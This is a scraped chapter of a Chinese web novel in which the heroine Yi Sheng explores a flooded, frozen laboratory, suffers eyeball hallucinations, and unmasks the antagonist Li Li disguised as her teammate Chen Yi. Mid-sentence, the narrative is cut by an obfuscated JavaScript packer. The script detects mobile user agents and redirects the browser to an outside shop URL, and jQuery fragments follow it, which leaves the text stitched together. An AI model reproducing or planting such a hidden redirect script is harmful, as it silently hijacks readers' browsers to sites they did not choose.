“难怪你们当初问我们两个要不要一起去实验室。原来是为了从实验室里面拿物资？”


    “没办法。”徐二苦涩道，“坏境太恶劣了，刚好实验室有物资，而且实验室没人。我们只能这样做了。”


    听完徐二解释，易生沉默半响。


    这里冰天雪地的，食物和动植物肯定稀少。他们冒险进实验室拿物资，情有可原。


    “你们放心！我们不会白跟着你们的！”张三突地想到什么，肩膀一斜卸下背包，从里面拿出一张泛黄的牛皮纸。


    “这是我们手绘的实验室外围的地图，你们可以看看。”


    易生几人对视，黄气收起光脑，尴尬看看易生。


    他们也有地图，而且还是高清立体版。


    如果带上这两人，任务进度会不会被拖慢，中途会不会出现突发状况，一切都是未知数。


    “我们先商量一下。”


    陈奕脸色相当不好看，她绷着下巴，坚决反对这两人进实验室内围。黄气也有些顾虑，但想到他们这两天的物资都源自这两人的救助，实在说不出来刻薄的话语。


    “这样吧，你们先在外围等着，我们确认内围的安全后，你们再进来。”


    实验室的布局相当简单，翻过围墙，四四方方的两层楼黑漆漆的。实验室分为两部分：内围和外围。外围主要是实验场地和简单的休闲场所。真正重要的东西，都在内围。


    “这里之前都是废墟，我们拿东西的时候总觉得不好意思，后来有空了就组织大伙儿一起来打扫。”


    张三不好意思挠挠头，只有霍钟朝他投去赞许的目光。黄气拿着光脑对着地图看内围入口，陈奕两只手举着手电筒替黄气照亮。


    张三的视线溜过几人，最终落在呆呆停在前方的易生。他快步上前，顺着易生的视线转去。


    “这个啊。”张三打眼瞧去，终于和易生找到一些话题，“这个应该是实验室的工作人员。”


    被冻得肿胀的手指戳在中央金发女人身上：“我爸说他还救过这个人。这个人当时伤得特别重。”


    “我知道。”


    易生声音带上一丝颤抖：“我知道她是谁。”


    她的猜测，果然没问题。


    哈德太太，就是在这里工作，从这里逃离，然后被联盟追杀。


    易生不由捂住胸膛，她有种预感，真相和她现在只隔一线，二十多年，她从未离真相如此近。


    “各位，帮我看看图纸上的内围门的位置是不是标错了？”


    众人目光瞬间汇集在黄气身前。


    一堵厚实的墙堵在黄气面前，黄气正小心在墙面四周不断按压，试图模仿盗墓小说主角在墙上随便按按就能意外找到开关的行为。


    “欸！”


    黄气双眼瞬间亮了起来，激动拍拍一旁打手电的陈奕。


    “我这运气，啧啧。”


    自信的笑容僵在脸上，一阵咸湿的风吹来，生生将黄气恶心得退后两步。


    陈奕捂住鼻子，拼命忍住呕吐欲，提起手电筒向门内粗略扫一圈。


    “不行，能见度太低了。”


    即使有手电筒，里面仍是黑漆漆的一片。


    沉重的不详和微风一样，瞬间布满整个外围。霍钟定在原地，本该前进的脚死死粘在地面。易生扭头，就连平时活蹦乱跳、干什么都要在第一个的333也皱眉上下观察着里头。


    “要进去吗？”


    易生挤出的这句话，更多的，是在肯定自己内心的想法。


    “……走吧。”黄气举起枪械，沉气道，“来都来了。”


    几人清点好弹药，易生顿住脚步，将背心方格中的对讲机留给身后眼巴巴看着的徐二两人。


    “有什么事情，摁上面的键就能联系上我们。”


    说罢，易生踏入门槛，脚上传来一阵湿意。低头一看，她看见自己在水中的倒影。


    这里，到底是什么地方？


    “大家，这里……”


    易生的话折在嘴边。她的身边，已经空无一人。


    “霍钟？”


    回声连连飘荡，像是没有船锚的孤船，不知何时才能听停下漂浮。


    “你在找谁？”


    背后一阵冷风直直袭上被易生脖颈。易生本能缩起脖子，下意识转头。


    身后空无一物。


    “在找我吗？”


    笑声伴着凉气，一点一点钻入易生耳朵。易生左右扭身，妄图抓住来处不明的笑声。


    “你猜猜我在哪里呢？”


    易生定在原地。她并不是被那道声音骇住。黏腻的触感从她脖子传来，顺着血脉一点点、一寸寸，慢慢蠕动到她的左脸。


    易生想闭上眼，等着黏腻感消失。可她更不想面对的，是恐惧的源头消失在她的世界。


    于是，她强撑着，垂下睫毛尽量用双眼捕捉那东西的一举一动。


    圆润的边缘渐渐出现视线之间。像是感知到她的视线一般，顿了几秒，接着，圆润的边缘开始不受控地震颤。


    颤着颤着，那东西在易生眼中展现出它的全貌。


    米白色的，乒乓球一样的，肿胀的，布满红血丝的，有浅蓝色瞳孔的，一只眼。


    “看着我！”


    眼球颤得快要离开她的脸颊，像猫咪兴奋极了不断颤栗的尾巴。易生不由眨眼，就那一瞬，眼球已经带着血丝猛冲上前，直直朝易生脸颊袭来。


    它的目标，是易生的右眼！


    易生惊叫一声，后退几步转身拔腿就跑。


    眼球有些茫然，接着，它再度追上去。


    脚底的水漾起，易生头发上甚至都沾了些水珠，水珠挂上发丝，瞬间消失不见。


    “砰——”


    不知道易生是左脚绊右脚，还是水下真的有石头，易生整个人因惯性向前扑去。


    一切发生的太突然了，她的手下意识护在胸前，试图给摔倒的自己做些缓冲。


    下一秒，易生倒入水面。


    再下一秒，世界翻转。易生猛地起身，大口呼吸着，被水灌进口鼻的滋味可一点也不好受。


    她抬手摁住自己的前胸，仿佛这样就能安慰肺部，减缓被灌进水的肺泡的疼痛。


    她抬手，合起手摩挲，手上没有一丝湿意。


    刚刚的一切，仿佛就是她的幻觉。


    “没错，就是你的幻觉。”


    明媚声音在前方响起。易生抬头，吊着的心瞬间放下：


    “陈奕！”


    摆明立场归摆明立场。真有事时，见到熟人的那份心安是怎么也无法忽视。


    “……你快起来吧，我们一起去找霍钟他们。”


    陈奕还是这样有些疏离的态度，易生现在倒是不在意。她长舒口气，想要爬起来，脚上却


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243828|192868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么都使不上劲儿。


    “陈奕，拉我一把。”


    已经迈开步子的人转头，侧目皱眉，见易生真的腿软，才悠悠把手抬起。


    “……”易生握紧向她伸出的手，捏了捏。突然，她笑了，“谢谢你，陈奕。”


    借力站起，易生拍拍裤子，将自己的背包拉紧。


    陈奕不再等她，一个人自顾自地向前走。


    易生也不抱怨，整理背包拉带的手停下：“陈奕，你的登山杖呢？”


    “……没来得及带，扔在那个——”


    “锃——”


    陈奕猛地转身，手上凭空出现的黑色长弓和易生的短刀摩擦在一起，嘣出红金火花。


    “干什么？！易生，你疯了！”


    “你不是陈奕！”易生手下用力，刀影一闪而过，双眼寒芒闪动，“说，你把陈奕弄去哪里了？！”


    对面人一颤，回忆瞬间涌入脑海。黑银刀刃后那双凶狠如孤狼的眼，和那人一模一样。


    难怪吕明说，易生很像那个人。


    “陈奕好着呢。”


    “陈奕”退后一步，摊手耸肩：“你怎么认出我来的？”


    “我为什么要告诉你？”易生手中的匕首仍然没有放下，另一只手从腰后拔出枪来。刚刚太着急没来得及拿枪，手枪拉保险的声音一定会惊动这假冒者。


    “没关系啊，你不告诉我也行。”女人眼中闪过一丝寒光，“不过，你也别想知道你的那些队友都去哪里了。”


    “……我们进内围时，把登山杖都留在外围了。”


    “陈奕”懊悔拍了下脑袋：“诶呀，光顾着给你们开门了，都忘记你们的登山杖还在外面。”


    “我说了，陈奕他们呢？”


    “小妹妹。”女人狡黠一笑，“你还是太年轻了。想问的答案，最先拿到才最保险。”


    易生沉默不语，转身就要离开。


    “陈奕他们好着呢。”女人连忙挽留。


    “你不好奇我是谁吗？”


    “你的身份还用猜。”易生侧目，厌恶的眼神上下扫过“陈奕”。


    “李梨。每一次你出现，我身边就会有不好的事情发生。”


    李梨无奈笑笑，边撕脸上的假皮边小声为自己辩解：“是因为你本来就命苦啊。你没发现吗？你身边的人，没有一个寿终正寝的。”


    易生僵住，像是长期没有维护的机器人，缓缓转身。


    她迈开脚，直直朝李梨迈去。


    “那你把我带走，看看是你的命硬，还是我的命硬。”


    被戳到痛处的人，终于变成了李梨。她顿了顿，半晌，才将继续清理挂在脸上的假皮。


    “是吕明告诉你的？”


    “不。”易生死死盯着李梨假皮下的真容，“是Nancy。Nancy猜到了。”


    Nancy的最后一句话，无关自己。轻轻的语句，落在易生耳边，带着她灵魂的重量，却成了压在易生命运上的砝码。


    “这就是我为什么让陈东杀死Nancy的原因。”李梨声线也冷了下来，“Nancy很不错，她的优点有很多。但从她叛离上下的那一刻，她带给我深刻印象的优点，就变成了要她命镰刀。”


    易生双手攥紧，浑身上下的血仿佛在一瞬冲向大脑。


    “先别愤怒，也别动手。我还有一些故事，没讲给你听呢。”